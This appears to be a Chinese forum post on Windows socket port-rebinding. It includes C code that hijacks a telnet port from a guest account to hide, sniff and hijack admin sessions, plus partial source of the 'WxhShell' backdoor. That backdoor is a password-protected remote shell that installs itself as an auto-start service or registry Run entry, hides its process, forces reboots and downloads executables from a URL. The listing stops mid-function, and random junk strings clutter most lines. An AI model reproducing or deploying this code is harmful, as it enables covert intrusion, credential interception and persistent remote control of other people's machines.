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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S_sHwObFu|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !S<p"   
SVa^:\"$[  
  saddr.sin_family = AF_INET; '@24<T]  
k x:+mF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8;qOsV)UDT  
mg*iW55g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !"hlG^*9  
F42^Uoaz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d*TH$-F!p  
yHY2 SXm  
  这意味着什么?意味着可以进行如下的攻击: ~Xx}:@Ld  
S>5w=RK   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *fY*Wy9  
eF;Jj>\R+i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &v]xYb)+<  
6<z#*`U1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jXx~ 5  
/\fR6|tJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sB0]lj-[Un  
fbI5!i#lz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iw.F8[})  
"U9e)a0v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~e|E5[-i  
<YCjo[(~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GB+$ed5@<  
7IUJHc?  
  #include [?6+ r  
  #include G9S3r3  
  #include l )r^|9{  
  #include    0]ai*\,W7~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sfVzVS[  
  int main() E.C=VfBW  
  { 1&h\\&ic  
  WORD wVersionRequested; nVpDjUpN  
  DWORD ret; wI7.M Gt  
  WSADATA wsaData; yTc&C)Jba  
  BOOL val; HZ(giAyjq  
  SOCKADDR_IN saddr; FS7D  
  SOCKADDR_IN scaddr; >uJu!+#  
  int err; UJS vtD{g  
  SOCKET s; F`;q9<NYRW  
  SOCKET sc; W G3 _(mM  
  int caddsize; [g==#[  
  HANDLE mt; :EPe,v RT  
  DWORD tid;   2kgSIvk\  
  wVersionRequested = MAKEWORD( 2, 2 ); -4Q\FLC'k  
  err = WSAStartup( wVersionRequested, &wsaData ); fda2dY;  
  if ( err != 0 ) { Y;\@ 5TgQ,  
  printf("error!WSAStartup failed!\n"); a{e1g93}  
  return -1; ZkibfVwe  
  } 1< b~="  
  saddr.sin_family = AF_INET; mJ8EiRSE  
   HII@Ed f?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uEsF 8  
6Po {tKU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); asW W@E  
  saddr.sin_port = htons(23); {#t7lV'4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t.!?"kP"c  
  { c*w0Jz>@.7  
  printf("error!socket failed!\n"); Nn0j}ZI)1  
  return -1; }V/iU_)  
  } ~Y1nU-  
  val = TRUE; a/CY@V-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rZAP3)dA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3?k<e  
  { P(\x. d:  
  printf("error!setsockopt failed!\n"); '0Q/oU  
  return -1; F.Bij8\  
  } }L`Z<h*H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &G-dxET]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $;";i:H`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O*F= xG  
Y|#< kS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [$]-W$j+  
  { D7IhNWrgj  
  ret=GetLastError(); B_@p@6z  
  printf("error!bind failed!\n"); \^cXmyQ<%  
  return -1; Wa!C2nB  
  } `OZiN;*|  
  listen(s,2); 1k%HGQM{  
  while(1) Ea[SS@'R  
  { .*?-j?U.  
  caddsize = sizeof(scaddr); Dz$dJF1 8  
  //接受连接请求 "-HWw?rx/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jlyuu  
  if(sc!=INVALID_SOCKET) u3cl7~- yW  
  { 1Fsa}UK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H.Z<T{y;  
  if(mt==NULL) ErQGVE;zk  
  {  u7&5t  
  printf("Thread Creat Failed!\n"); 7 /" Z/^  
  break; -23sm~`  
  } dM -<aq  
  } Ln4Dq[M  
  CloseHandle(mt); kK&AK2  
  } 5o^\jTEl^  
  closesocket(s); i\>?b)a>  
  WSACleanup(); ^= kr`5  
  return 0; '~{kR=+  
  }   2/))Y\~  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4?_^7(%p  
  { R<r,&X?m  
  SOCKET ss = (SOCKET)lpParam; Fbw.Y6  
  SOCKET sc; 7?y([i\y  
  unsigned char buf[4096]; fndH]Yp  
  SOCKADDR_IN saddr; gd0a,_`M  
  long num; \Jwc[R&x  
  DWORD val; Co/04F.  
  DWORD ret; 7 $dibTER  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qnU`Q{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !Ks<%; rb  
  saddr.sin_family = AF_INET; wF-H{C'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NiVZ=wEp,  
  saddr.sin_port = htons(23); 5z.Y}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xag#ZT  
  { wO]H+t  
  printf("error!socket failed!\n"); us U6,  
  return -1; %mS>v|  
  } iML?`%/vN  
  val = 100; 'kJyE9*xU.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K7,Sr1O `  
  { y+' ,jM  
  ret = GetLastError(); ( _MY;S  
  return -1; ]0")iY_  
  } A*kN I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *"V) h I5  
  { u&j_;Y!6  
  ret = GetLastError(); T|--ZRYn  
  return -1; i@=(Y~tD`  
  } Xk:_aJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a!&<jM  
  { 0|mC k  
  printf("error!socket connect failed!\n"); BtF7P}:MGf  
  closesocket(sc); `nd$6i^#W  
  closesocket(ss); 1#XZVp;M  
  return -1; ddlF4L_  
  } j 9f QV  
  while(1) "i%=QON`  
  { HC$}KoZkC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A4)TJY 3g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5_rx$avm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /vLW{%  
  num = recv(ss,buf,4096,0); DH])Q5  
  if(num>0) .aC/ g?U  
  send(sc,buf,num,0); 7Y 4!   
  else if(num==0) G#.q%Up  
  break; (Wn^~-`=+  
  num = recv(sc,buf,4096,0); F ^)( 7}ph  
  if(num>0) -{p~sRc&  
  send(ss,buf,num,0); 5[`f(;  
  else if(num==0) *n9=Q9  
  break; e'3y^Vg  
  } K{iC'^wP  
  closesocket(ss); %\1W0%w  
  closesocket(sc); O~5*X f  
  return 0 ; ,UxAHCR~9  
  } *3(mNpi{_  
T?*f}J  
5~RR _G  
========================================================== xQxq33\  
mfk^t`w_  
下边附上一个代码,,WXhSHELL C!|Yz=e  
g7v(g?  
========================================================== (J.U{N v  
Sj<]~*y"  
#include "stdafx.h" b%xG^jUXsX  
}u;`k'J@  
#include <stdio.h> &Y 2Dft_K  
#include <string.h> 6&"GTK  
#include <windows.h> 0>ce~KU  
#include <winsock2.h> -]Aqt/w"l  
#include <winsvc.h> -T>i5'2)  
#include <urlmon.h> +DYsBCVbag  
8)YDUE%VH  
#pragma comment (lib, "Ws2_32.lib") E g_ram`\R  
#pragma comment (lib, "urlmon.lib") iE^=Vf;  
O0sLcuT$  
#define MAX_USER   100 // 最大客户端连接数 vSwRj<|CF  
#define BUF_SOCK   200 // sock buffer (~?p`g+I.P  
#define KEY_BUFF   255 // 输入 buffer "6i3'jc`  
n"Wlfd0  
#define REBOOT     0   // 重启 *~`BG5w  
#define SHUTDOWN   1   // 关机 Ed1y%mR>  
O_v*,L!  
#define DEF_PORT   5000 // 监听端口 8-x)8B  
B|r'  
#define REG_LEN     16   // 注册表键长度 -7VQ {nC  
#define SVC_LEN     80   // NT服务名长度 2CV?cm  
yg82a7D  
// 从dll定义API 4i+H(d n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jaQH1^~l/-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1;~| [C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mpd?F 'V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g Cx#&aXS  
2u(G:cR  
// wxhshell配置信息 gvFCsVv<{  
struct WSCFG { 7Q?^wx  
  int ws_port;         // 监听端口 a2eE!I  
  char ws_passstr[REG_LEN]; // 口令 ,hE989x<iI  
  int ws_autoins;       // 安装标记, 1=yes 0=no _>4)q=  
  char ws_regname[REG_LEN]; // 注册表键名 !iW> xo  
  char ws_svcname[REG_LEN]; // 服务名 8Y/1+-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %m-U:H.Vp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8;x0U`}Ez(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T_fM\jdI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +.QJZo_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _[/#t|I}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !gJw?(8"  
<4582x,G  
}; m%s:4Z%=  
~re~Ys  
// default Wxhshell configuration f'TEua_`  
struct WSCFG wscfg={DEF_PORT, v4F+^0?  
    "xuhuanlingzhe", P7$/yBI U  
    1, dd *p_4;  
    "Wxhshell", $4BvDZDk`B  
    "Wxhshell", x7/";L>  
            "WxhShell Service", eU8p;ajW!L  
    "Wrsky Windows CmdShell Service", -L!lJ  
    "Please Input Your Password: ", x kdC -S  
  1, d-T pY*v  
  "http://www.wrsky.com/wxhshell.exe", o_03Io ~Bf  
  "Wxhshell.exe" \susLD  
    }; w YQEm  
R$;TX^r'o&  
// 消息定义模块 )T^xDx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,( NN)Oj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h=B= J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >~_)2_j  
char *msg_ws_ext="\n\rExit."; eg24.W9c  
char *msg_ws_end="\n\rQuit."; N! I$Qtr,  
char *msg_ws_boot="\n\rReboot..."; R[OXYHu  
char *msg_ws_poff="\n\rShutdown..."; `UT UrM  
char *msg_ws_down="\n\rSave to "; <(i5hmuVd  
^,aI2vC  
char *msg_ws_err="\n\rErr!"; ER0B{b  
char *msg_ws_ok="\n\rOK!"; `4g}(-  
me-uPm  
char ExeFile[MAX_PATH]; m~uT8R#$  
int nUser = 0; &^l(RBp]0  
HANDLE handles[MAX_USER]; 13+. >  
int OsIsNt; ^!gq_x  
5GGO:  
SERVICE_STATUS       serviceStatus; _PSOT5{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .br6x ^\<  
2OQ\ z;s  
// 函数声明 |#'n VN.;  
int Install(void); kT:I.,N   
int Uninstall(void); nu(7Y YCM$  
int DownloadFile(char *sURL, SOCKET wsh); o=Y'ns^a(  
int Boot(int flag); <T&v\DN  
void HideProc(void); '.&Y)A6!  
int GetOsVer(void); D}Sww5ZmP  
int Wxhshell(SOCKET wsl); /Q_ Dd  
void TalkWithClient(void *cs); <. *bJ  
int CmdShell(SOCKET sock); l>KkAA  
int StartFromService(void); lc3Gu78 A/  
int StartWxhshell(LPSTR lpCmdLine); KC)}M zt6_  
r-.>3J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YrV@k*O*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d</F6aM\  
T"<)B^8f  
// 数据结构和表定义 pTXF^:8  
SERVICE_TABLE_ENTRY DispatchTable[] = gtePo[ZH.P  
{ 7*"Jx}eM  
{wscfg.ws_svcname, NTServiceMain}, y G3aF(  
{NULL, NULL} V1~@   
}; W/AF  
5{Q9n{dOh  
// 自我安装 >H ?k0M`L  
int Install(void) x0WinLQ  
{ YV!hlYOBi  
  char svExeFile[MAX_PATH]; .ws86stFSb  
  HKEY key; Rc &m4|cw7  
  strcpy(svExeFile,ExeFile); C511 hbF  
_^NyLI%  
// 如果是win9x系统,修改注册表设为自启动 t"Ah]sD  
if(!OsIsNt) { cv G*p||  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Id&e'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B(ktIy  
  RegCloseKey(key); @&Bh!_TWc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E&eY79  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0^sY>N"  
  RegCloseKey(key); f 9Kt>2IN  
  return 0; %S'+x[ 4W  
    } b?c/J {me  
  } U7 ?v4O]D[  
} 0Qq<h;8xEc  
else { 8QZI(Xe9r  
}YVF fi~  
// 如果是NT以上系统,安装为系统服务 S0Q LM)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E2d'P  
if (schSCManager!=0) .Z  67  
{ Fx|`0 LI+C  
  SC_HANDLE schService = CreateService ][ IOlR  
  ( 9@yF7  
  schSCManager, sRA2O/yKCE  
  wscfg.ws_svcname, U3Z=X TB  
  wscfg.ws_svcdisp, t ^[fu,  
  SERVICE_ALL_ACCESS, -z0;4O (K]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `;J`O02  
  SERVICE_AUTO_START, YWvD+  
  SERVICE_ERROR_NORMAL, X6r0+D5AvB  
  svExeFile, !ltq@8#_|  
  NULL, fBj)HoHQW  
  NULL, zX4RqI  
  NULL, N+@ Ff3M  
  NULL, %^L{K[}  
  NULL w.a9}GC  
  ); ,(pp+hNq  
  if (schService!=0) b5LToy:  
  { `Y5LAt:  
  CloseServiceHandle(schService); }cr'o"4  
  CloseServiceHandle(schSCManager); YrB-n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^9:`D@Z+  
  strcat(svExeFile,wscfg.ws_svcname); V5z2.} 'o-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eqsmv [  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j~G(7t  
  RegCloseKey(key); rpK&OR/  
  return 0; yV )fJ_  
    } 0hV#]`9`gN  
  } {;u,04OVK  
  CloseServiceHandle(schSCManager); Z$JJ0X  
} UZ2_FP  
} YLGE{bS  
BEvY&3%l  
return 1; bo/9k 4N3  
} CV.|~K0O  
xdgAu  
// 自我卸载 vxj:Y'}  
int Uninstall(void) R`Z"ey@C  
{ nOvR, 6  
  HKEY key; .i I{  
T+ZA"i+  
if(!OsIsNt) { hdH z", )  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1o%#kf  
  RegDeleteValue(key,wscfg.ws_regname); TZ5TkE;1  
  RegCloseKey(key); $R/@8qnP W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _&BK4?H@b  
  RegDeleteValue(key,wscfg.ws_regname); YM:sLeQ~c  
  RegCloseKey(key); 5@m ,*n&[  
  return 0; ]690ey$E:j  
  } SL-2^\R  
} HS/.H,X  
} J<QZ)<T,&  
else { TA-2{=8  
:LY.C<8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JM|HnyI  
if (schSCManager!=0) "u!gfG?oH  
{ dX cbS<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?J2A1iuq3  
  if (schService!=0) P'lnS&yA  
  { #0aBQ+_8H  
  if(DeleteService(schService)!=0) { `}l%61n0  
  CloseServiceHandle(schService); ;+E]F8G9r  
  CloseServiceHandle(schSCManager); '7sf)0\:<p  
  return 0; PJC(:R(j  
  } < -`.u`  
  CloseServiceHandle(schService); ,%*UF6B M  
  } BX0lk  
  CloseServiceHandle(schSCManager); ]EX6Y  
} 4@@Sh`E:  
} kg]6q T;Y  
J 7R(X  
return 1; J&>@ >47  
} .cHgYHa  
P);s0Y|@H  
// 从指定url下载文件 =# Sw.N  
int DownloadFile(char *sURL, SOCKET wsh) C!*!n^qA  
{ ='o3<}  
  HRESULT hr; 0w3c8s.  
char seps[]= "/"; FfJ;r'eGs  
char *token; MF4 (  
char *file; B@&sG 5ES  
char myURL[MAX_PATH]; Bdw33z*m  
char myFILE[MAX_PATH]; dj Ojd,  
3 y}E*QE  
strcpy(myURL,sURL); d^aVP  
  token=strtok(myURL,seps); P[ :_"4U  
  while(token!=NULL) OB(o OPH  
  { x950,`zy  
    file=token; u]IbTJ'  
  token=strtok(NULL,seps); kWXLncE  
  } Kd5'2"DI  
wc;n= %  
GetCurrentDirectory(MAX_PATH,myFILE); qg oB}n%  
strcat(myFILE, "\\"); z3+@[I$  
strcat(myFILE, file); .d1ff] ;  
  send(wsh,myFILE,strlen(myFILE),0); 9;e!r DW,#  
send(wsh,"...",3,0); .C% 28fH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^~YT<cJ1h  
  if(hr==S_OK) wsWFD xR  
return 0; {=ox1+d  
else W7qh1}_%  
return 1; oZvG Kf  
O:wG/et  
} &>-j4,M  
Q M0B6F  
// 系统电源模块 t>\sP   
int Boot(int flag) a_>|Ny6{  
{ N;g@lyo  
  HANDLE hToken; ^?VQ$o2  
  TOKEN_PRIVILEGES tkp; <=*f  
Gaix6@X6'  
  if(OsIsNt) { 4b2d(x)0X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kXSX<b<%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uAn}qrqE9  
    tkp.PrivilegeCount = 1; 5daq}hsQs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @L3XBV2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T$%|=gq  
if(flag==REBOOT) { p\w<~ pN[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4nsJZo#S/  
  return 0; H$h#n~W~  
} j<p.#jkT  
else { l^lb ^"o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D@bGJc0  
  return 0; 0B`X056|"|  
} tqGrhOt  
  } JXB)'d0  
  else { w>%@Ug["  
if(flag==REBOOT) { wh8';LZ>R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S[Du >  
  return 0; j7~FR{: j  
} *jlIV$r_  
else { oACAC+CP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Nc:s+ o  
  return 0; xLW$>;kI  
} R/+$ :  
} v-1}&K  
R=z])  
return 1; 9d drtJ]  
} )E}v~GW.+  
QKG3>lU  
// win9x进程隐藏模块 3Qy@^"  
void HideProc(void) q)k:pQ   
{ KNVu[P)rv  
%_OjmXOfe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^#Ii=K-[^  
  if ( hKernel != NULL ) <u64)8'  
  { T }#iXgyx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hb)FeGsd).  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w' 7sh5  
    FreeLibrary(hKernel); c7e,lgG-  
  } {X!OK3e  
/WuYg OI  
return; C~ 1]  
} 1R2IlUlzFr  
 &9y Zfp  
// 获取操作系统版本 QUrPV[JQ  
int GetOsVer(void) y)G-6sZ/  
{ -> cL)  
  OSVERSIONINFO winfo; >P/36'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k#].nQG  
  GetVersionEx(&winfo); QZzamT)"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ \D %  
  return 1; w*qj0:i5as  
  else =XP[3~  
  return 0; kBo:)Vej4  
} [X(4( 1i  
aFnel8  
// 客户端句柄模块 pXk^EV0  
int Wxhshell(SOCKET wsl) or]v]*:~l  
{ 7UfNz60+~  
  SOCKET wsh; ZVjB$-do  
  struct sockaddr_in client; W XQ@kQD  
  DWORD myID; X6HaC+P  
02-ql F@i  
  while(nUser<MAX_USER) MEDh  
{ / F0q8j0  
  int nSize=sizeof(client); ^""edCs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I|@+O#  
  if(wsh==INVALID_SOCKET) return 1; Vj*-E  
^CkMk 1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H1bR+2s  
if(handles[nUser]==0) I3t5S;_8  
  closesocket(wsh); #D`@G8~(  
else XM$ ~HG  
  nUser++; gmGK3am  
  } $L/`nd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8 x{Owj:Q  
.biq)L e  
  return 0; Kj4/fB  
} ]VI^ hhf  
ATs_d_Sz  
// 关闭 socket Pe,>ny^J1  
void CloseIt(SOCKET wsh) lTx_E#^s  
{ ^m>4<~/  
closesocket(wsh); ^6s im2  
nUser--; c!6D{(sfh  
ExitThread(0); Itl8#LpLM  
} l1+l@r\  
f"MID6  
// 客户端请求句柄 + :MSY p  
void TalkWithClient(void *cs) -  x  
{ 9[0iIT$q$  
v] m/$X2  
  SOCKET wsh=(SOCKET)cs; NoI|Dz  
  char pwd[SVC_LEN]; o4Q?K.9c  
  char cmd[KEY_BUFF]; QYH-"-)  
char chr[1]; \nl(tU#j  
int i,j; SI7rTJ]/  
3c<aI =$^  
  while (nUser < MAX_USER) { 78& |^sq  
Y ;Ym=n'  
if(wscfg.ws_passstr) { Xaq;d'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hkMeUxS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M`Q$-#E:  
  //ZeroMemory(pwd,KEY_BUFF); Jxvh;  
      i=0; W\l&wR  
  while(i<SVC_LEN) { <{#_;7h"  
h4]^~stI  
  // 设置超时 8 W  
  fd_set FdRead; gKh*q.  
  struct timeval TimeOut; NsB]f{7>8+  
  FD_ZERO(&FdRead); 19$A!kH\  
  FD_SET(wsh,&FdRead); !+SL=xy!{  
  TimeOut.tv_sec=8; 70qEqNoC  
  TimeOut.tv_usec=0; 72, m c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fOi Rstci  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]?}>D?5  
VlV X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SW9 C 8Q  
  pwd=chr[0]; -DkD*64wu  
  if(chr[0]==0xd || chr[0]==0xa) { X$!fR >Zc  
  pwd=0; UBwl2Di  
  break; f ./K/  
  } ZVXPp -M  
  i++; H_?rbz}o  
    } z"4 q%DC  
5Cdn j  
  // 如果是非法用户,关闭 socket 72;'8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %RD\Sb4YV  
} BHr,jC  
\WiCI:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T1C_L?L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uZl d9u  
%6[,a  
while(1) { "}71z  
=f~<*wQ  
  ZeroMemory(cmd,KEY_BUFF); "WKOlfPa  
QATRrIj{e  
      // 自动支持客户端 telnet标准   Bc8&-eZ ,  
  j=0; J.UNw8z  
  while(j<KEY_BUFF) { {]\7 M|9\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K$Bv4_|x  
  cmd[j]=chr[0]; ]he~KO[j<  
  if(chr[0]==0xa || chr[0]==0xd) { `W x| 4  
  cmd[j]=0; 4 {M   
  break; 5{HF'1XgZ*  
  } "lt<$.  
  j++; sTd@/>S?p  
    } t~L4wr{B  
J_7w _T/  
  // 下载文件 E`j' <#V!  
  if(strstr(cmd,"http://")) { %V=%ARP|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DzR,ou  
  if(DownloadFile(cmd,wsh)) 0)|Z 7c&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H8YwMhE7  
  else DZqG7p$u4i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sn[xI9}O  
  } 6 ) i-S<(  
  else { Ovx *  
li[[AAWVm  
    switch(cmd[0]) { 9Y3"V3EZ  
  '#c#.O  
  // 帮助 ?;RY/[IX6  
  case '?': { |Y Lja87  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wS=vm}}u  
    break; Gor 9 &aJ1  
  } $2W#'_K+  
  // 安装 syr0|K[  
  case 'i': { k' 8q /]  
    if(Install()) l0'Yq%Nf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nk@-yZ@,8  
    else Mst%]@TG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }-tJ.3Zw  
    break; vN(~}gOd\  
    } G/JGb2I/7|  
  // 卸载 uBts?02  
  case 'r': { bkdXBCBx?  
    if(Uninstall()) 5ih>x3S1/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?pIELezfK  
    else L ,R}l0kc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 ZRc|ZQ  
    break; \~8W0q.4M  
    } \HB fM&  
  // 显示 wxhshell 所在路径 F%V|Aa  
  case 'p': { Il&F C  
    char svExeFile[MAX_PATH]; a8TtItN  
    strcpy(svExeFile,"\n\r"); &S(>L[)9  
      strcat(svExeFile,ExeFile); _jX,1+M  
        send(wsh,svExeFile,strlen(svExeFile),0); `LoRudf_`  
    break; 5=V"tQ&d9U  
    } J%"5?)[z  
  // 重启 _=0Ja S>M.  
  case 'b': { m%.4OXX"&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 80Y% C-Y:  
    if(Boot(REBOOT)) qoZi1,i'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s O#cJAfuu  
    else { bqH [-mu6  
    closesocket(wsh); d3znb@7  
    ExitThread(0); o1#3A  
    } #)}BY"C%  
    break; C]Fw*t   
    } V(Pw|u" e  
  // 关机 +7%?p"gEY\  
  case 'd': { P?q HzNGi7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @{b5x>KX  
